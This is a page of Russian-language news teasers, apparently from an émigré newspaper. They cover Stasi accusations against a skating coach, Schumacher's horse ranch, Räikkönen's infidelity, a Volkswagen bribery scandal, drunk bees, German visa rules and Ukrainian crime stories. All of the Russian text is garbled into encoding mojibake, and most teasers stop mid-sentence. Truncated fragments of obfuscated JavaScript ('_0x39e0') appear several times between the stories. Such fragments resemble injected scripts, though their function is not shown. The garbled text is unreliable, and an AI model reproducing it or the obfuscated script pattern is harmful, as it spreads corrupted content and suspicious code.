Ãåîðãèåâ Ðóäîëüô
Íà íåäàâíåì ïåðâåíñòâå Åâðîïû ïî ôèãóðíîìó êàòàíèþ âûñòóïàâøèå çà Ãåðìàíèþ Àëåíà Ñàâ÷åíêî è Ðîáèí Øîëêîâû çàíÿëè âòîðîå ìåñòî â ñîðåâíîâàíèè ñïîðòèâíûõ ïàð. Îäíàêî òåïåðü èõ ðàäîñòü îò óñïåøíîãî âûñòóïëåíèÿ ñìåíèëàñü îãîð÷åíèÿìè.
Äåëî â òîì, ÷òî Íåìåöêèé îëèìïèéñêèé êîìèòåò ïðèíÿë ðåøåíèå íå âêëþ÷àòü â ñîñòàâ îëèìïèéñêîé äåëåãàöèé èõ òðåíåðà Èíãî Øòîéåðà. Åãî îáâèíèëè â òîì, ÷òî îí ÿêîáû òåñíî ñîòðóäíè÷àë ñ òàéíîé ïîëèöèåé ÃÄÐ - ïå÷àëüíî èçâåñòíîé Øòàçè.  ñâîå âðåìÿ Øòîéåð òàêæå óñïåøíî âûñòóïàë íà ñàìûõ ïðåñòèæíûõ ñîðåâíîâàíèÿõ ôèãóðèñòîâ.  ïàðå ñ Ìàíäè Âåòöåëü îí ñòàë áðîíçîâûì ïðèçåðîì Îëèìïèàäû â Íàãàíî, à òàêæå ÷åìïèîíîì ìèðà 1997 ãîäà. Îäíàêî â õîäå íåäàâíåé ïðîâåðêè àðõèâîâ Øòàçè âûÿñíèëîñü, ÷òî Øòîéåð áóäòî áû ñîòðóäíè÷àë ñî ñïåöñëóæáàìè.
"ß çíàþ, ÷òî íà ìåíÿ åñòü äîñüå, íî íå çíàþ åãî ñîäåðæàíèÿ, ÿ íå ñäåëàë íè÷åãî ïëîõîãî", - çàÿâèë Øòîéåð. Îí ïîäàë...
 êîííîì äâîðöå ñòîèìîñòüþ 3,5 ìèëëèîíà åâðî, ïðèíàäëåæàùåì ñåìåéñòâó ÷åìïèîíà ìèðà Ìèõàýëÿ Øóìàõåðà, ïîÿâèòñÿ ñïåöèàëüíûé óïðàâëÿþùèé.
39-ëåòíèé àâñòðàëèåö Ìàðòèí Ëýðêîìá, ÷åìïèîí ìèðà â ãîíêàõ ñòèëÿ âåñòåðí, áóäåò çàíèìàòüñÿ äðåññèðîâêîé êîíåé è ïîäãîòîâêîé íàåçäíèêîâ. Øóìàõåð ïðåäîñòàâëÿåò åìó âèëëó íà òåððèòîðèè ñâîåãî êîííîãî ïîìåñòüÿ.
Ó Øóìàõåðîâ 150 ëîøàäåé íà ðàí÷î, ðàñïîëîæåííîì â òðåõ êèëîìåòðàõ îò Æåíåâñêîãî îçåðà, íà áåðåãó êîòîðîãî Ìèõàýëü ïðèîáðåë îãðîìíóþ âèëëó è ñàìûé êðóïíûé â Øâåéöàðèè çàêðûòûé èïïîäðîì.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Æåíà ôîðâàðäà áåðëèíñêîé "Ãåðòû" è ñáîðíîé Áðàçèëèè Ìàðñåëèíüî óãðîæàåò îáúÿâëåíèåì åìó "ïîëîâîé áëîêàäû"
Ïðèâûêøàÿ ê ñïîðòèâíûì óäà÷àì ìóæà (òîëüêî â ïðîøëîì ãîäó îí çàáèë 18 ãîëîâ â âîðîòà ñîïåðíèêîâ), åãî ñóïðóãà îãîð÷åíà "ïëîõîé ïðåññîé" è òåì, ÷òî îí óòðàòèë ìåòêîñòü óäàðîâ, è òðåíåð áðàçèëüñêîé ñáîðíîé Êàðëîñ Àëüáåðòî Ïåðåéðà óæå ðåøèë íà ïåðâåíñòâå ìèðà â 2006 ãîäó îáîéòèñü áåç Ìàðñåëèíüî. Ðàçãíåâàííàÿ æåíùèíà îáúÿâèëà, ÷òî îòëó÷èò åãî íà íåäåëþ îò ñåêñà, åñëè îí íå íà÷íåò íàêîíåö çàáèâàòü ãîëû, à âäîáàâîê ïîîáåùàëà âîçëîæèòü íà íåãî âñþ äîìàøíþþ ðàáîòó.
Çà äâå íåäåëè ïîñëå óëüòèìàòóìà Ìàðñåëèíüî îòìåòèëñÿ òîëüêî îäíèì ãîëîì, äà è òî ñ ïåíàëüòè â âîðîòà ñëàáåíüêîé êîìàíäû. Òàê ÷òî ñðîê àìíèñòèè, âèäèìî, íå íàñòóïèë.
function _0x39e0(_0x2e6d70,_0x39105a){const...
 "Ôîðìóëå-1" ôèíñêèé ïèëîò Êèìè Ðàéêêîíåí ñëûâåò ÷åëîâåêîì õëàäíîêðîâíûì è âûäåðæàííûì. Îäíàêî
 "Ôîðìóëå-1" ôèíñêèé ïèëîò Êèìè Ðàéêêîíåí ñëûâåò ÷åëîâåêîì õëàäíîêðîâíûì è âûäåðæàííûì. Îäíàêî âíå ãîíîê ñïîðòñìåí äàëåêî íå âñåãäà îòëè÷àåòñÿ òðåçâûì, ðàçóìíûì ïîâåäåíèåì.
È âîò íåñêîëüêî äíåé íàçàä Ðàéêêîíåí îòëè÷èëñÿ îïÿòü. Ïîñëå óæèíà â ðåñòîðàíå îí ñ äðóçüÿìè îòïðàâèëñÿ â íî÷íîé êëóá è âûïèë íåñêîëüêî ñòàêàíîâ ñâîåãî ëþáèìîãî íàïèòêà - ñìåñü ðîññèéñêîé âîäêè ñî ñìåòàíîé. Ïîñëå ýòîãî ãîðÿ÷èé ôèíñêèé ïàðåíü ïîäõâàòèë äâóõ 19-ëåòíèõ äåâèö è îòâåç íà ñâîþ âèëëó. Çàãóë çàâåðøèëñÿ â ñïàëüíå, ãäå íåîæèäàííî ïîÿâèëàñü Äæåííè Ðàéêêîíåí. Ðàçãíåâàííàÿ ñóïðóãà íåìåäëåííî ïîêèíóëà âèëëó è òåïåðü íå õî÷åò âèäåòü íåâåðíîãî ìóæà.
function _0x39e0(_0x2e6d70,_0x39105a){const...
Îæåñòî÷åííàÿ áîðüáà áðàòüåâ Ìèõàýëÿ è Ðàëüôà Øóìàõåðîâ íà ñîðåâíîâàíèÿõ "Ôîðìóëû-1", ïî ìíåíèþ ñïåöèàëèñòîâ è ôàíàòîâ, ìîæåò ïðèâåñòè ê íîâûì êîíôëèêòàì.
Ïî ìíåíèþ áîëüøèíñòâà, ïðè÷èíû ýòîãî ëåæàò âíå ñïîðòèâíûõ ñôåð. Ãîâîðÿò, ÷òî âî âçàèìíîé íåïðèÿçíè áðàòüåâ âèíîâàòû èõ æåíû. Åùå ïåðåä ãîíêîé ïî Íþðáóðãðèíãó â 2003 ãîäó Êîðà, ñóïðóãà Ðàëüôà, ãîðüêî ðàçðûäàëàñü, êîãäà Êîðèíà, æåíà Ìèõàýëÿ, ñòàëà ïîó÷àòü åå ïðàâèëàì ïîâåäåíèÿ. Ìëàäøèé áðàò ïðèíÿë ñòîðîíó ñâîåé ïîëîâèíû è îòðóãàë ñóïðóãó ñòàðøåãî áðàòà.
Ïîñëå ñìåðòè ìàòåðè, ñëó÷èâøåéñÿ äâà ãîäà íàçàä íàêàíóíå ñîðåâíîâàíèé â Èìîëå, îòíîøåíèÿ ìåæäó áðàòüÿìè ðåçêî óõóäøèëèñü, à äàìû ïðàêòè÷åñêè íå îáùàþòñÿ äðóã ñ äðóãîì.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Êàæäûé êóçíåö ñâîåãî ñ÷àñòüÿ. È íåñ÷àñòüÿ - òîæå. Íà÷èíàë òðóäîâîé ïóòü Êëàóñ Ôîëüêåðò êóçíåöîì, â 1969 ãîäó ïðèøåë â ïðåññîâûé öåõ "Ôîëüêñâàãåíà" è ïðèíÿëñÿ èçî âñåõ ñèë áîðîòüñÿ çà ïðàâà è èíòåðåñû ðàáî÷åãî êëàññà. Ê 1990 ãîäó "äîáîðîëñÿ" äî ïîñòà ïðåäñåäàòåëÿ îáúåäèíåííîãî ïðîèçâîäñòâåííîãî ñîâåòà âñåõ çàâîäîâ îäíîãî èç êðóïíåéøèõ àâòîìîáèëüíûõ êîíöåðíîâ ìèðà. È âëàñòè, è ñëàâû, è äåíåã - âñåãî õâàòàëî. Çàðïëàòû ó ïðåäñåäàòåëåé ïðîèçâîäñòâåííûõ ñîâåòîâ íà çàâîäàõ êîíöåðíà äî 10 000 åâðî è ñïåöèàëüíûå áåçîò÷åòíûå ôîíäû íà ïðîôñîþçíóþ ðàáîòó.
Íåäàâíî Êëàóñ Ôîëüêåðò â ïîëíîé òèøè óâîëèëñÿ èç "Ôîëüêñâàãåíà", è íå òîëüêî ìîè, íî è ïîïûòêè íåìåöêèõ, áëèçêèõ ê àâòîìîáèëüíûì êðóãàì, æóðíàëèñòîâ îáíàðóæèòü åãî ñëåäû íå óâåí÷àëèñü óñïåõîì. Íî íå ñ ýòîé òåïåðü óæå îäèîçíîé ôèãóðû â ïðîôñîþçíîì äâèæåíèè ÔÐà ðàçðàçèëñÿ, ïîæàëóé, ñàìûé ãðàíäèîçíûé â èñòîðèè "Ôîëüêñâàãåíà" ñêàíäàë.
Ðåâèçèîííàÿ êîìèññèÿ ýòîãî êîíöåðíà óñòàíîâèëà, ÷òî êðóïíûé ìåíåäæåð, ÷ëåí ïðàâëåíèÿ "Øêîäû" - äî÷åðíåãî ïðåäïðèÿòèÿ Õåëüìóò Øóñòåð áðàë âçÿòêè.  øòàá-êâàðòèðå "Ôîëüêñâàãåíà" áûëî ïðèíÿòî ðåøåíèå íàëàäèòü ïðîèçâîäñòâî "øêîä" íà òåððèòîðèè Èíäèè, ÷òîáû âòîðãíóòüñÿ íà åå ðàñøèðÿþùèéñÿ àâòîìîáèëüíûé ðûíîê. Âîçãëàâèòü...
Ñ îäíîé ñòîðîíû, âðîäå áû ñåíñàöèÿ. Åùå íèêîãäà Ãåðìàíèÿ íå ïðåäîñòàâëÿëà ïîëèòè÷åñêîãî óáåæèùà ðîññèéñêîìó ãðàæäàíèíó. À ñ äðóãîé, âðîäå áû ñòðàííûé ñëó÷àé, î êîòîðîì ïðè âñåîáùåì ìîë÷àíèè óïîìÿíóëà åäèíñòâåííàÿ ãàçåòà "Òàãåñøïèãåëü".
Î ÷åì æå ðå÷ü?  äåêàáðå 2002 ãîäà â ÔÐà èç Ðîññèè ïðèáûë Îëåã Ëèñêèí è îáðàòèëñÿ ñ ïðîñüáîé î ïðåäîñòàâëåíèè ïîëèòè÷åñêîãî óáåæèùà, ïîñêîëüêó åìó óãðîæàåò-äå òþðåìíîå çàêëþ÷åíèå êàê ïðîòèâíèêó íûíåøíåãî ðåæèìà. Îí ïîâåäàë, ÷òî áàëëîòèðîâàëñÿ ïðè ïîääåðæêå ïàðòèè "ßáëîêî" íà ïîñò ãóáåðíàòîðà â Òóëå, íî ïî îêîí÷àíèè ïðåäâûáîðíîãî ìèòèíãà áûë àðåñòîâàí ÎÌÎÍîì è îòïðàâëåí çà ðåøåòêó. Ïîñëå âíåñåíèÿ çàëîãà Ëèñêèíà âûïóñòèëè èç òþðüìû, è îí îáîñíîâàëñÿ â Ìîñêâå â Ëåãïðîìáàíêå, êîòîðûé-äå ïîääåðæèâàë ñèëû, îïïîçèöèîííûå ïðåçèäåíòó. Êñòàòè, ýòîò áàíê ïðîøòðàôèëñÿ íåóïëàòîé íàëîãîâ è íûíå íå ñóùåñòâóåò.
Êàê ñîîáùàþò ìèãðàöèîííûå ñëóæáû ÔÐÃ,...
Îá ýòîé ìîëîäîé çâåçäå Ìàðèèíñêîãî òåàòðà ãîâîðÿò è ïèøóò ñåãîäíÿ ïî âñåìó ìèðó. Äðàìàòè÷åñêèõ ñîïðàíî òàêîãî êëàññà íà îòå÷åñòâåííîé ñöåíå íå ïîÿâëÿëîñü äàâíî. Îíà îäèíàêîâî àðòèñòè÷íà ïðàêòè÷åñêè âî âñåì, ÷òî äåëàåò. Íî ìàññîâûå èçäàíèÿ îñîáåííî èíòåðåñóþòñÿ ëè÷íîé æèçíüþ ïåâèöû - êîòîðàÿ, ðàçóìååòñÿ, òåñíî ïåðåïëåòåíà ñ æèçíüþ ñöåíè÷åñêîé. Èìåííî â ýòîì êëþ÷å î ðóññêîì îïåðíîì ÷óäå ðàññêàçàë íà äíÿõ íåìåöêèé åæåíåäåëüíèê "Áóíòå".
Àíå÷êà â ÷åòûðå ãîäà ïåëà, òàíöåâàëà, èãðàëà â ñïåêòàêëÿõ. Ñ äðóçüÿìè è ïîäðóæêàìè ñî÷èíÿëè ïüåñû è ðàçûãðûâàëè ïåðåä ïàïàìè è ìàìàìè â ðîäèòåëüñêîì äîìå â Êðàñíîäàðå. ×óòü ïîçæå ñòàëà ïåòü â õîðå è óâëåêëàñü àêðîáàòèêîé. Ñåé÷àñ Àííà Íåòðåáêî, ìîëîäàÿ äåðçêàÿ êðàñàâèöà ñ ïðåêðàñíûì ñîïðàíî è áåññïîðíûì òåàòðàëüíûì äàðîâàíèåì, ïðåâðàòèëàñü â ÿðêóþ çâåçäó íà îïåðíîì íåáîñêëîíå, ïðèâîäÿ â âîñòîðã ñàìûõ òðåáîâàòåëüíûõ ëþáèòåëåé êëàññè÷åñêîé ìóçûêè.
Âñå áèëåòû íà ñåìü ñïåêòàêëåé "Òðàâèàòû" ñ åå ó÷àñòèåì îñåíüþ â Çàëüöáóðãå, èçáàëîâàííîì ìèðîâûìè ñâåòèëàìè, óæå ðàñïðîäàíû, êàê è òðè êîíöåðòà â Ãåðìàíèè, êîòîðûå óäàëîñü âûòîðãîâàòü íåìåöêèì...
È â çàêîíîïîñëóøíîé Ãåðìàíèè åæåäíåâíî ñîâåðøàþòñÿ òÿæêèå ïðåñòóïëåíèÿ. Îáû÷íî ïèøóò î íèõ
È â çàêîíîïîñëóøíîé Ãåðìàíèè åæåäíåâíî ñîâåðøàþòñÿ òÿæêèå ïðåñòóïëåíèÿ. Îáû÷íî ïèøóò î íèõ ìåñòíûå ñðåäñòâà ìàññîâîé èíôîðìàöèè.  öåíòðàëüíóþ æå ïðåññó ïîïàäàþò ñàìûå ãðîìêèå äåëà, à òàêæå âñå, ñâÿçàííîå ñ ó÷àñòèåì "ðóññêèõ íåìöåâ". È ó îáûâàòåëÿ ñîçäàåòñÿ âïå÷àòëåíèå, ÷òî èìåííî âûõîäöû èç Ðîññèè ïîãðóçèëè ñòðàíó â êðèìèíàëüíûé òåððîð. Ìåæäó òåì â îôèöèàëüíîé ñòàòèñòèêå ïðåñòóïëåíèé íàøè áûâøèå çåìëÿêè, ê ñ÷àñòüþ, çàíèìàþò âåñüìà ñêðîìíîå ìåñòî.
 ýòè äíè ó âñåõ íà ñëóõó - ñ ïîìîùüþ ìèëëèîííîãî òèðàæà æóðíàëà "Øïèãåëü" - äåéñòâèòåëüíî ñòðàøíîå äåëî Åâãåíèÿ Í. è ïÿòè åãî ñîîáùíèêîâ, ïî êîòîðîìó èäåò ñóäåáíûé ïðîöåññ â ðóðñêîì ãîðîäå...
Äëÿ íåìöåâ íå íîâîñòü òî, ÷òî ï÷åëû ëþáÿò âûïèòü. Îíè î÷åíü äîñàæäàþò ïîñåòèòåëÿì îòêðûòûõ
Äëÿ íåìöåâ íå íîâîñòü òî, ÷òî ï÷åëû ëþáÿò âûïèòü. Îíè î÷åíü äîñàæäàþò ïîñåòèòåëÿì îòêðûòûõ ëåòíèõ ïèâíûõ.
Íî, ÷òîáû íàó÷íî ïîäòâåðäèòü ñêëîííîñòü ýòèõ íàñåêîìûõ ê àëêîãîëþ, àìåðèêàíñêèå ó÷åíûå ïðîâåëè ñåðèþ ýêñïåðèìåíòîâ. Îíè óñòàíîâèëè, ÷òî ï÷åëû íå òîëüêî îõîòíî ïðèêëàäûâàþòñÿ ê ÷óæîé (÷åëîâå÷åñêîé) ðþìêå, íî è âåäóò ñåáÿ ïîñëå ýòîãî, êàê ïüÿíûå ëþäè. Íîãè (ëàïêè) òàê æå îòêàçûâàþòñÿ èõ ñëóøàòü. Ï÷åëû çàâàëèâàþòñÿ íà ñïèíó è íå ìîãóò ïîäíÿòüñÿ, ïîêà íå ïðîòðåçâåþò. ×åì áîëüøå îíè âûïüþò, òåì äîëüøå îñòàþòñÿ â áåñïîìîùíîì ñîñòîÿíèè.  îòëè÷èå îò ÷åëîâåêà ï÷åëû íå ïîõìåëÿþòñÿ è ïîñëå ïåðåïîÿ ñòàðàòåëüíî èçáåãàþò àëêîãîëÿ. Ó÷åíûì åùå...
Äàæå çàêîíîïîñëóøíûì ãðàæäàíàì ïðèäåòñÿ ñòîëêíóòüñÿ ñ íåìàëûìè òðóäíîñòÿìè ïðè îôîðìëåíèè íåìåöêîé âèçû.
 áëèæàéøåå âðåìÿ âñåì äèïëîìàòè÷åñêèì ïðåäñòàâèòåëüñòâàì ÔÐà áóäåò ðàçîñëàíî ðàñïîðÿæåíèå, îáÿçàòåëüíîå ê èñïîëíåíèþ, è ñïåöèàëüíàÿ âèçîâàÿ êíèãà, ãäå âñå äåòàëüíî ðåãëàìåíòèðîâàíî ïî ÷àñòè ðàçðåøåíèé íà âúåçä â ñòðàíó. Äî ñèõ ïîð äåéñòâîâàë òàê íàçûâàåìûé "äîêóìåíò Ôîëüìåðà" îò 3 ìàðòà 2000 ãîäà, êîòîðûé ïîçâîëÿë âèçîâûì îðãàíàì "â ñëó÷àå ñîìíåíèé èñõîäèòü èç ïðèíöèïîâ ñâîáîäû ïåðåäâèæåíèÿ". Ýòî ëèáåðàëüíîå ïðàâèëî ïðèâîäèëî ê ìíîãî÷èñëåííûì ïðîòèâîïðàâíûì ïîñëåäñòâèÿì.
Óñòàíîâëåíî, íàïðèìåð, ÷òî ÷åðåç íåìåöêîå êîíñóëüñòâî â Êèåâå íåçàêîííûìè ñïîñîáàìè ïîëó÷àëè âèçû íåëåãàëüíûå ðàáî÷èå, è íå òîëüêî èç Óêðàèíû, à òàêæå êðèìèíàëüíûå...
Íåìåöêèé åæåíåäåëüíèê "Ôîêóñ", ññûëàÿñü íà èññëåäîâàíèÿ èçâåñòíûõ ãåðìàíñêèõ ó÷åíûõ, îïðîâåðãàåò íåêîòîðûå ëåãåíäû, ñâÿçàííûå ñ Îëèìïèàäàìè.
"Àíòè÷íûå ñïîðòñìåíû, - ïèøåò "Ôîêóñ", - áûëè ðàñ÷åòëèâûìè ïðîôè, êàê òå íûíåøíèå òåííèñèñòû èëè ëåãêîàòëåòû, êîòîðûå êî÷óþò ñ îäíèõ ñîðåâíîâàíèé íà äðóãèå, ÷òîáû ïîäçàðàáîòàòü äåíåã". Íåêèé àòëåò èç äðåâíîñòè Òåîãåíåñ çà 26 ëåò ñâîåé êàðüåðû îäåðæàë 1300 ïîáåä. "Ìîæíî ïðåäñòàâèòü, - çàìå÷àåò ïðîôåññîð Âàéëåð, - êàêóþ êó÷ó äåíåã îí çàðàáîòàë".  Àôèíàõ ïëàòèëè îëèìïèéñêîìó ÷åìïèîíó 500 äðàõì, ÷òî ðàâíÿëîñü äâóõãîäîâîìó çàðàáîòêó ðåìåñëåííèêà. Äîïîëíèòåëüíûì âîçíàãðàæäåíèåì ñëóæèëè ïî÷åòíûå ìåñòà â òåàòðàõ, áåñïëàòíîå ïîæèçíåííîå ïèòàíèå â ñòîëîâûõ ãîðîäñêîãî óïðàâëåíèÿ. Íåêîòîðûå ãîðîäà âûäàâàëè ñïîðòèâíûì ãåðîÿì, íàïðèìåð, ñîòíþ àìôîð...
Ñ íà÷àëà ãîäà öåíû íà íåôòåïðîäóêòû â Ãåðìàíèè ðàñòóò áåçîñòàíîâî÷íî. ×òîáû óáåäèòüñÿ â ýòîì, íåò íåîáõîäèìîñòè ñêîëüçèòü âçãëÿäîì ïî áèðæåâûì ñâîäêàì â ãàçåòàõ èëè â òåêñòîâîì ýêðàíå òåëåâèçîðà - äîñòàòî÷íî âçãëÿíóòü èç îêíà èëè ïî äîðîãå íà òàáëî áåíçîçàïðàâîê.
È ïðè÷èíû íåôòÿíîé äîðîãîâèçíû òîæå ëåæàò êàê íà ëàäîíè: áèðæåâàÿ ñìóòà îò òåððîðèñòè÷åñêîãî áåñïðåäåëà íà Áëèæíåì è Ñðåäíåì Âîñòîêå, áóðíî ðàñòóùàÿ ïîòðåáíîñòü â ýíåðãîíîñèòåëÿõ â Êèòàå è Èíäèè, ñòðàòåãè÷åñêàÿ çàïàñëèâîñòü ÑØÀ, ñðî÷íî ïîïîëíÿþùèõ ñâîè íåôòÿíûå ðåçåðâóàðû.
Ñëàáûé ïî îòíîøåíèþ ê åâðî äîëëàð åùå ïîçâîëÿåò Ãåðìàíèè èçáåæàòü õóäøåãî, íî ïðè öåíå â 40 è áîëåå äîëëàðîâ çà áàððåëü è ñòðàíàì ñ åâðîâàëþòîé ïðèõîäèòñÿ íåâåñåëî. Íåìåöêèå ñïåöèàëèñòû ïðîâîäÿò ïàðàëëåëè ñ íà÷àëîì 90-õ ãîäîâ, êîãäà âûñîêèå öåíû íà "æèäêîå çîëîòî" çàòîðìîçèëè ïîäúåì ýêîíîìèêè, è ïðåäñêàçûâàþò íîâûé óäàð ïî î÷åíü áîëüíîìó â ÔÐà ìåñòó - ïî çàíÿòîñòè.
Èíñòèòóò...
 òó íî÷ü äèðåêòîð Çîëîòîíîøñêîãî ÏÒÓ Ëåîíèä Ñóïðóí íå ñîìêíóë ãëàç. Îí êóðñèðîâàë èç áàðà â áàð, îò îäíîé äèñêîòåêè ê äðóãîé, èíîãäà çàáåãàÿ äîìîé. Ëèäà, æåíà, óæå íå ïëàêàëà, ñëåç íå áûëî. Íàãëîòàâøèñü êîðâàëîëà, íåïîäâèæíî ñèäåëà ó îêíà, çàêóòàâøèñü â ïëàòîê. Ïîñëå ãèáåëè ìëàäøåé äî÷åðè Âèêè îíà ïàíè÷åñêè áîÿëàñü çà ñòàðøóþ, à òà áóäòî ñïåöèàëüíî èñïûòûâàëà òåðïåíèå. Îáçâîíèëè âñåõ ïîäðóæåê, íî íèêòî íè÷åãî êîíêðåòíîãî íå ñêàçàë. Êòî-òî âèäåë Àëèíó â ìàøèíå ñ ÷åðêàññêèìè íîìåðàìè, êòî-òî - â êîìïàíèè òðåõ ìóæ÷èí. Êîãäà íàä ãîðîäîì çàíÿëñÿ ðàññâåò, îòåö ïðåêðàòèë ïîèñêè.
- Îñòàåòñÿ æäàòü è ìîëèòüñÿ, - ñêàçàë îí æåíå. - Â ìèëèöèè çàÿâëåíèå ïîêà íå ïðèíèìàþò.
Äî÷ü ÿâèëàñü ê ïîëóäíþ. Áëåäíàÿ, ïðîêóðåííàÿ, ñ ÷åðíûìè êðóãàìè ïîä ãëàçàìè. Îòòîëêíóâ ìëàäøåãî áðàòèøêó, çàêðè÷àëà íà ðîäèòåëåé:
- Áóäåòå ìåíÿ îñêîðáëÿòü, ñîâñåì óéäó èç äîìà!
Íî ïîñëåäíåå ñëîâî îñòàëîñü çà îòöîì. Ñõâàòèë åå, âçâàëèë íà ïëå÷î è ïîòàùèë ê ìàøèíå.
- Ãäå Àëèíà?- ñïðîñèëà æåíà ÷åðåç ïÿòíàäöàòü ìèíóò, êîãäà ìóæ âåðíóëñÿ îäèí.
- Îñòàâèë â ãàðàæå, â áàãàæíèêå, - îòâåòèë îí. - Ïóñòü ïî÷óâñòâóåò, ÷òî äåëàþò ïîäîíêè ñ ïüÿíûìè äåâ÷îíêàìè èç áàðà.
- Íå ñëèøêîì ëè?- ñëàáî âîçðàçèëà ìàòü. Íî ïåðå÷èòü íå ñòàëà: ìîæåò, õîòü ýòî îáðàçóìèò ñâîåíðàâíóþ...
Ïðåñòóïíèêè âçÿòû ñ ïîëè÷íûì è àðåñòîâàíû, äîíåöêàÿ îáëàñòíàÿ ïðîêóðàòóðà âîçáóäèëà óãîëîâíîå äåëî ñðàçó ïî ÷åòûðåì ñòàòüÿì Óãîëîâíîãî êîäåêñà.
 ïîñåëêå Âîñòî÷íîì, ãäå íàõîäèòñÿ áîëüíèöà N 2, à ïðè íåé íåáîëüøîé ðîääîì, ñëó÷èâøååñÿ íå îáñóæäàþò. "Ýêà íåâèäàëü, - ñêàçàëà ìíå ðàáîòíèöà ïåêàðíè, ðàñïîëîæåííîé ïî ñîñåäñòâó ñ ðîääîìîì, - íèùåòà è íå íà òî ëþäåé òîëêàåò. Âîò â÷åðà ìóæ÷èíó ìåðòâîãî íà êðûëüöå ðîääîìà íàøëè - ýòî êîøìàð!"
Ïåêàðíÿ êîðìèò áîëüíèöó è ïðîäàåò õëåá "íàëåâî". Âå÷åðîì õëåá ãîðÿ÷èé, íî â òåìíîòå çäåñü ëó÷øå íå õîäèòü - ÿìà íà ÿìå, êàíàëèçàöèîííûå ëþêè áåç êðûøåê, à íà ñëîìàííûõ ëàâî÷êàõ - ñòàéêè íàðêîìàíîâ. Ñàì íå ñëîìàåøü øåþ - ïîìîãóò.
 ðîääîìå òèøèíà è òåìåíü, îñâåùåíî ëèøü ïðèåìíîå îòäåëåíèå è òàáëè÷êà íà êàáèíåòå çàâ. îòäåëåíèåì - Ëÿïèí Â.È. Êàáèíåò...
Âñêîðå íà ñòðàíèöàõ Êíèãè ðåêîðäîâ Ãèííåññà ïîÿâèòñÿ èìÿ äâàäöàòèïÿòèëåòíåãî áîãàòûðÿ èç
Âñêîðå íà ñòðàíèöàõ Êíèãè ðåêîðäîâ Ãèííåññà ïîÿâèòñÿ èìÿ äâàäöàòèïÿòèëåòíåãî áîãàòûðÿ èç Äîíáàññà - Äìèòðèÿ Õàëàäæè.  Äåíü ãîðîäà Êèåâà íà Ìàéäàíå Íåçàëåæíîñòè îí ïîâòîðèë ïîäâèã äðåâíåãî ãðåêà Áèáîíà, êîòîðûé ñîãëàñíî ëåãåíäå â íà÷àëå øåñòîãî âåêà äî íàøåé ýðû ïîäíÿë îäíîé ðóêîé 143-êèëîãðàììîâûé êàìåíü. Äèìà ïðèâåç èç ïîñåëêà Êîìñîìîëüñêîå â ñòîëèöó êàìåíü, ïîõîæèé íà óãîëüíûé ñàìîðîäîê, âåñîì 150 êèëîãðàììîâ è óäåðæèâàë åãî íàä ãîëîâîé îäíèì ìèçèíöåì!
Ãîòîâèòüñÿ ê ðåêîðäó Äèìà íà÷àë âñåãî ãîä íàçàä, íî ôèçè÷åñêèì òðóäîì çàíèìàëñÿ ñ äåòñòâà, â òîì ÷èñëå ÷èñòèë "àâãèåâû êîíþøíè". Ñâîþ áîãàòûðñêóþ ñèëó ïàðåíü ïî÷óâñòâîâàë ëåò â ñåìü,...
Ðàäâàíêà - îñîáàÿ òåððèòîðèÿ Óæãîðîäà. Çäåñü ãîâîðÿò, äóìàþò è æèâóò ïî-öûãàíñêè. Ê "÷óæàêàì" îòíîøåíèå íàñòîðîæåííîå: ïðàçäíî øàòàòüñÿ íå ïîçâîëÿò. Ïîäîéäóò ðîñëûå òåìíî-êóäðÿâûå ïàðíè è íàñòîé÷èâî ïðîâîäÿò äî ìàðøðóòêè, êîíå÷íàÿ îñòàíîâêà êîòîðîé êàê ðàç ó øêîëû.
"Íè ñ êåì íå ðàçãîâàðèâàòü, ñðàçó êî ìíå â êàáèíåò", - ïðåäóïðåäèëà ìåíÿ ïî òåëåôîíó äèðåêòîð Ìàðüÿíà Èâàíîâíà Ñàâêî. Íî íà ïîðîãå ìàëåíüêîãî, ñâåæåïîáåëåííîãî äîìèêà ìåíÿ îêðóæèëè äåâ÷îíêè. Íàìåòàííûì ãëàçîì îïðåäåëèâ "íåìåñòíóþ", òóò æå íàêèíóëèñü ñ ïðåäëîæåíèåì ïîãàäàòü. Îñîáåííî óñåðäñòâîâàëà âåðòëÿâàÿ ìàëûøêà ëåò äåñÿòè: "Êðàñàâèöà, òåáÿ çàãîâîðèëè, èäè ñþäà, ÿ çàãîâîð ñíèìó!" Êðåïêî ïðèæèìàÿ ê ñåáå ñóìî÷êó, ÿ ïðîøìûãíóëà â êàáèíåò äèðåêòîðà, ãäå ðûäàëà ìîëîäàÿ áåëîêóðàÿ æåíùèíà.
- Âîò âàì è ñþæåò, - ïðèâåòñòâîâàëà ìåíÿ ÷åðíîãëàçàÿ äèðåêòðèñà ñî ñìîëÿíûìè ëîêîíàìè, êèâàÿ íà ïîñåòèòåëüíèöó. - Ýòî Ëàðèñà Äìèòðèåâíà, íàøà ó÷èòåëüíèöà...
Óêðàèíà âñå åùå ïðàçäíóåò: Ðóñëàíà âûèãðàëà êîíêóðñ "Åâðîâèäåíèå"! Âñå ãàçåòû ïîìåñòèëè åå ïîðòðåòû, âñå òåëåêàíàëû êðóòÿò êëèï "Äèêèå òàíöû". Ðóñëàíó öèòèðóþò, çàáðàñûâàþò òåëåãðàììàìè, â ÷åñòü íåå íàçûâàþò íîâîðîæäåííûõ.
